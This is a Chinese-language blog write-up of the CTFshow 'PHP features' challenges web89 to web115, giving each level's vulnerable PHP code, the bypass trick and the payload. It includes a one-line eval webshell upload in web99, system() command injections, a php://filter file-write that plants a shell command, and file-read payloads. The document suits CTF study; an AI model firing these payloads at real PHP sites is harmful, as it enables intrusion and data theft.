CTFshow-php特性

目录

web89

web90

web91

web92

web93

web94

web95

web96

web97

web98

web99

web100

web101

web102

web103

web104

web105

web106

web107

web108

web109

web110

web111

web112

web113

web114

web115


web89

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

首先来了解一下intval函数。

intval()函数可以获取变量的整数值,常被用来进行数据类型转换,将字符串类型的变量转换为整数类型

preg_match函数是用于完成字符串的正则匹配的函数,如果找到一个匹配的,就返回1,否则就返回0。

preg_match只能处理字符串,如果传入的值是数组的话,就会报错,从而返回false,绕过了正则匹配。

故payload:?num[]=1

web90

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){        //强类型判断 不仅判断值,还会判断类型
        die("no no no!");
    }
    if(intval($num,0)===4476){    //从num的第一个位置开始转换成整形数据
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

对于intval函数,当我们输入的num的值为123a的时候,经过intval函数的转化,就变成了123

所以当我们让num的值为4476a的时候,经过intval函数的转化,num的值就变成了4476。

web91

$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
//表示匹配以php开头并且以php结尾,多行匹配
    if(preg_match('/^php$/i', $a)){
//单行匹配以php开头,同时也以php结尾
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

其中正则匹配中的i表示:不区分大小写的意思,这里就是将匹配的目标设置为不区分大小写,即php和PHP是没有区别的。

m:表示多行匹配

使用边界字符 ^ 和 $ 匹配每一行的开头和结尾,记住是多行,而不是整个字符串的开头和结尾。所有行只要有一行匹配到了就返回1

^:匹配输入字符串的开始位置。$:匹配输入字符串的结束位置。

在默认的情况下,一个字符串无论是否换行只有一个开始^和结束$。如果增加了多行匹配的话(也就是说加上了m),那么每行都有一个开始^和结束$。

payload:?num=换行+php(%0aphp),所以经过第一个正则匹配的时候,由于是多行匹配,我们的payload中的第二行就是以php开始以php结束的。经过第二个正则匹配的时候,因为payload是%0aphp,便不符合以php开始以php结束。执行else。

web92

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){    //弱类型检验,只检验值
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

可以使用八进制或者是十六进制进行转化。

payload:?num=0x117c

还可以使用科学技术法来绕过==4476,科学技术法用e来表示,比如4476e12,就表示4476*10^12。从而绕过了==4476,之后再intval函数的时候,碰到字母e就不再继续转换,得到了4476

web93

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){    //不区分大小写 过滤字母
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

在上面的基础上过滤了字母,所以可以采用八进制或者是小数的方法绕过

payload:?num=4476.3或者是?num=010574(八进制)

web94

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){    //强类型判断
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){    //正则过滤掉字符
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

在上面题目的基础上增加了strpos函数。strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。

返回值: 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。注释: 字符串位置从 0 开始,不是从 1 开始。

所以strpos函数的意思就是查找0在$num中的位置是否是0(此处就是过滤了八进制的方法),我们就只能使用小数的方法去绕过。且小数位还要存在一个0,假设我们的payload为4476.3,那么在经过strpos函数的时候,没有找到0,那么就会返回FALSE,在经过前面的!,就变成了TRUE。所以我们需要在小数的某一个位置带上0,绕过strpos函数。

payload:?num=4476.30

web95

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

在上一个题目的基础上增加了对点的过滤,同时需要满足:

$num的值不能是4476

不能含有大小写字母

num中必须包含着0,但是开头不能是0

可以使用换行或者空格或者+号,再加上八进制来绕过。

payload:
    ?num= 010574 //注意有空格
    ?num=%20010574
    ?num=%0a010574
    ?num=+010574
    ?num=%09010574
    ?num=%2b010574

web96

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){    //判断值是否相等
        die("no no no");
    }else{
        highlight_file($_GET['u']);    //高亮显示
    }
}

首先可以通过报错,得到当前的路径。

可以使用绝对路径去访问:/var/www/html/flag.php

还可以使用php:filter伪协议来读取文件中的内容,当然也可以./,./的意思是当前路径的意思

payload:
    ?u=./flag.php
    ?u=/var/www/html/flag.php
    ?u=php://filter/read=convert.base64-encode/resource=flag.php

web97

if (isset($_POST['a']) and isset($_POST['b'])) {
    if ($_POST['a'] != $_POST['b'])        
    if (md5($_POST['a']) === md5($_POST['b']))
        echo $flag;
    else
        print 'Wrong.';
}

经过POST方式传参a和b,传入的两个参数值不可以相等,但是经过md5加密之后是强相等。

传入数组,由于md5函数是无法处理函数的,所以当我们传入的值是数组的时候,会返回NULL,经过md5加密,得到了NULL,在经过强类型的判断,返回了TRUE。

payload:a[]=1&b[]=2

web98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

涉及到三目运算符,以及变量覆盖的知识。

表达式1?表达式2:表达式3(表示:表达式1存在,那么就取表达式2的值,否则取表达式3的值)

&是引用符号,意思是:不同的名字访问同一个变量内容。php的引用是在变量或者函数、对象等前面加上&符号,PHP 的引用允许你用两个变量来指向同一个内容

对于第二行的代码而言,意思是:如果有GET传参的话,那么就将$_POST传入的参数赋值给$_GET变量,换句话说就是POST传入的参数和GET传入的参数是相同的。之后我们就可以通过POST来覆盖掉GET的值。

由于我们的GET传参是必需的,所以是不会取flag值得,所以中间的两句代码是没有任何意义的,最后的一句highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);代表着如果存在GET方式传参,HTTP_FLAG的值为flag,那么就highlight_file(flag),否则的话,就highlight_file(__FILE__)。

payload:

web99

$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

array_push函数:用于将一个或多个元素插入/推入数组(入栈操作)

in_array ():

功能 :检查数组中是否存在某个值

定义 : bool in_array ( mixed $needle , array $haystack , [bool $strict = FALSE ] )

在 $haystack 中搜索 $needle ,如果第三个参数 $strict 的值为 TRUE ,则 in_array() 函数会进行强检查,检查 $needle 的类型是否和 $haystack 中的相同。如果找到 $haystack ,则返回 TRUE,否则返回 FALSE。

但是如果省略了第三个参数,则存在着弱类型比较(类似==)

file_put_contents函数:将参数2的内容写入到参数1中,这里就存在着任意文件上传的漏洞。

由于每次rand都是从1开始的,因此array数组中存在1的概率是非常大的,之后in_array($_GET['n'],$array),当传入的参数n的值为1.php时,假设array中压入了1。由于省略了第三个参数,存在弱类型比较,所以说1.php在比较的时候会强制转换为1,刚好array中存在着1.满足if条件,执行file_put_contents。

故payload:?n=1.php         POST传参为content=<?php eval($_POST[1]);?> (多次尝试,让1压入栈中)

便将一句话木马上传到1.php中,直接RCE。

web100

include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

通过GET的方式接收v1、v2、v3的值。

这里还考察了=和and的优先级,&&>||>=>and>or,所以在这里就是先将is_numeric($v1)的值赋值给变量v0。之后再与后面的进行运算。

is_numeric()函数:判断变量是否是一个数字或者是数字字符串。

之后对v2和v3进行正则匹配,v2中不可以含有分号,但是v3中必须要有分号。

这里还涉及到反射类的知识点。参考文章:PHP: ReflectionClass - Manual

方法一:

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);只要使v1的值为1,就可以使得v0的值为true,从而进入if,之后需要满足的是v2不能有分号,v3必须有分号

payload:?v1=1&v2=system('tac ctfshow.php')&v3=;

方法二:

使用反射类直接输出class ctfshow的信息

payload:?v1=1&v2=echo new ReflectionClass&v3=;

看到大佬的博客中关于反射类的学习的一部分的代码段:

<?php
class A{
public static $flag="flag{123123123}";
const  PI=3.14;
static function hello(){
    echo "hello</br>";
}
}
$a=new ReflectionClass('A');
 
 
var_dump($a->getConstants());  获取一组常量
输出
 array(1) {
  ["PI"]=>
  float(3.14)
}
 
var_dump($a->getName());    获取类名
输出
string(1) "A"
 
var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
  ["flag"]=>
  string(15) "flag{123123123}"
}
 
var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(5) "hello"
    ["class"]=>
    string(1) "A"
  }
}

CTFSHOW-PHP特性__Monica_的博客-CSDN博客_ctfshowphp特性

方法三:

因为这个flag在ctfshow这个类中,所以我们可以构造出var_dump($ctfshow);

payload:?v1=1&v2=var_dump($ctfshow)&v3=;

web101

include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

在上一关的基础上,对v2和v3进行了过滤,所以我们的v2就不可以在写成system('tac ctfshow.php'),因为过滤了点号和单引号。

只能使用反射类来输出class ctfshow的信息。

payload:?v1=1&v2=echo new ReflectionClass&v3;

web102

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}

条件:

POST方式提交v1参数,GET方式去提交v2和v3。

substr()函数:用来返回某个字符串的子串。例如v2=123456789,则上面的代码返回3456789

call_user_func()第一个参数代表着函数的名,第二个参数代表着传入函数的中参数。返回调用函数后的结果。

file_put_contents():将参数二的内容写入到参数一中。

该题目的思路就是通过调用hex2bin函数,将我们传入的十六进制内容解码为ASCII码,传入的参数可以通过base64编码,再转换为16进制,那么call_user_func函数返回的结果就是base64编码之后的结果,之后可以使用php://filter伪协议将内容再经过base64解码,存放到某个文件中。

由于要经过is_numeric()函数的检测,所以传入的参数的值要求是数字串。

<?php
$a='<?=`cat *`;';
$b=base64-encode($a);//PD89YGNhdCAqYDs=
$c=bin2hex($b);//把base64编码之后的=去掉,再转换为16进制,结果是一样的
echo $c;//5044383959474e6864434171594473 结果中存在着e 会被当做是科学计数法
?>

payload:get:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

post : v1=hex2bin

web103

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

在上一个题的基础上,增加了对str变量的过滤,.号的意思是匹配除换行符(\n、\r)之外的任何单个字符。*号:匹配前面的子表达式零次或多次。也就是说不能匹配到以p开头中间有h然后以p结尾的子串。可以在此时用上一个题的payload继续打。

web104

include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}

这里利用的是sha1函数不可以处理数组,那么当我们传入数组的时候,报错返回false,满足了if条件,从而输出了flag。同样md5函数也存在这样的漏洞。发现其他大佬直接传入v1=v2;v2=v2

web105

include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

本题考查的是:变量覆盖的知识点。

先了解一下foreach函数。foreach(array_expression as $value)函数是遍历给定的数组语句 array_expression 数组。每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元)。

foreach(array_expression as $key => $value),同上,同时当前单元的键名也会在每次循环中被赋给变量 $key。

第一个foreach是GET的不能是error,第二个是POST的不能是flag;一共有三个变量 $error $suces $flag我们只要令其中任意一个的值为flag,都是可以通过die或者直接echo输出的。

第一种方法通过die($error)

GET方式提交:suces=flag POST方式提交:error=suces

分析:

//执行第一个foreach
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
//经过第一个foreach的时候,由于我们传入的是suces=flag,传入的键并不是error,执行$$key=$$value,得到了$suces=$flag
//执行第二个foreach
foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
//POST传入的是error=sucess,由于传入的值不是flag,所以不会执行if语句
//执行$$key=$$value;得到了$error=$suces=$flag

之后由于我们没有通过POST传入flag变量,所以if条件判断为0,满足if条件,执行die($error),也就输出了$flag。

第二种方法通过die($suces)

//payload:(GET方式提交 POST什么都不提交)suces=flag&flag=

//先执行第一个foreach
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
//首先得到$suces=$flag 之后再得到了 $flag=NULL
//第二个foreach不执行,因为我们没有通过POST提交任何的数据
foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
//由于没有通过POST传递flag,所以flag的值为空,判断刚好相等,再取反之后
//刚好为false,便不会执行if的内嵌语句
if(!($_POST['flag']==$flag)){
    die($error);
}
//执行die($suces)输出了flag的值
echo "your are good".$flag."\n";
die($suces);

web106

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}

此漏洞与md5的漏洞是相同的,当传入的变量是不相同是数据的时候,由于sha1和md5无法处理数组,返回false,从而绕过。当然也可以使用sha1和md5碰撞。

常见的md5加密之后为0e开头的原值可以看之前写的文章,当然sha1函数加密之后对于0e开头的值,也会认为是科学计数法,所以可以绕过。

找到了两个可以经过sha1函数加密可以得到0e开头的原值分别是aaroZmOk、aaK1STfY。

web107

include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}

parse_str()函数存在着变量覆盖漏洞,parse_str($id)把查询字符串解析到变量中,没有使用array选项,若有同名变量,将原来的覆盖。这里明显将原来的v2的值给覆盖掉。这里还涉及到弱类型的比较。可以使用md5碰撞,当然也可以传数组进去。

v3[]=1 v1[]=2

web108

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

考察ereg函数,ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。

ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

ereg()只能处理字符串的,遇到数组做参数返回NULL,判断用的是 === ,要求类型也相同,而NULL跟FALSE类型是不同的,也可以绕过第一个if的判断。但是我们GET传入的参数还需要经过strrev函数(反转函数),以及将反转后的值转换为整数。

0x36d十六进制转换为十进制为877,构造payload: ?c=a%00778

web109

if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

考察反射类的知识点,上面的题有详细的讲到过。直接打v1=ReflectionClass&v2=system('ls'),得到当前目录下的文件,直接访问或者v1=ReflectionClass&v2=system('tac xxx')

web110

error_reporting(0);//不显示报错信息
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }
    eval("echo new $v1($v2());");
}

这里有了很多的过滤,不会了,看大佬的wp,使用到了FilesystemIteartor它的功能是用来获取当前目录文件。以及getcwd()函数(取得当前工作目录)。

payload:v1=FilesystemIterator&v2=getcwd

web111

题目考察变量覆盖的知识点。

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }   
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
}

最下面的if对v1变量进行正则匹配,如果匹配到ctfshow,那么就会调用getFlag函数,而该函数中存在着变量覆盖,所以我们需要让v1=ctfshow,之后通过全局变量来访问(这里就是看的大佬的wp了,实在是不会了)。

ctfshow的指向就是全局变量的指向,于是就有了相同的作用,那么此时var_dump(ctfshow)就等价于var_dump($GLOBALS)

ctfshow-php特性-超详解(干货)_Yn8rt的博客-CSDN博客_ctfshow php特性

web112

function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

看到过滤的data、input、base64、rot13,其实就提示我们使用php伪协议了

可以使用的payload:php://filter/resource=flag.php,还可以使用没有被过滤的编码方式,如:php://filter/read=convert.quote-printable-encode/resource=flag.php

file=compress.zlib://flag.php(这是读取压缩流)

file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php file=php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php(这是两位一反转的读取方式)

第一次见下面的这三种方式,长知识了。

web113

if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
}

增加了对filter的过滤,可以使用上面写到的读取压缩流的方式继续打。

if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

同时is_file()函数存在着漏洞,在linux中/proc/self/root指向的是根目录,那么我们在linux中使用命令 ls /proc/self/root 便会显示根目录下的内容,可以通过多次重复使用/proc/self/root来绕过is_file()函数,这里具体原因我也不知道为啥。

payload:file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

web114

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

payload:?file=php://filter/resource=flag.php

web115

error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}

GET方式传参的num需要满足必须是数字,并且不等于36,经过函数去空之后也不等于36,经过函数过滤之后等于36

这个题还是有点不懂,附上大佬的FUZZ脚本:

<?php
for($i = 0; $i<129; $i++){
	$num=chr($i).'36';
	if(trim($num)!=='36' && is_numeric($num) && $num!=='36'){
		echo urlencode(chr($i))."\n";
	}
}
?>
%0C、%2B、-、.、0、1、2、3、4、5、6、7、8、9

构造payload:%0C36

猜你喜欢

转载自blog.csdn.net/weixin_44770698/article/details/125720695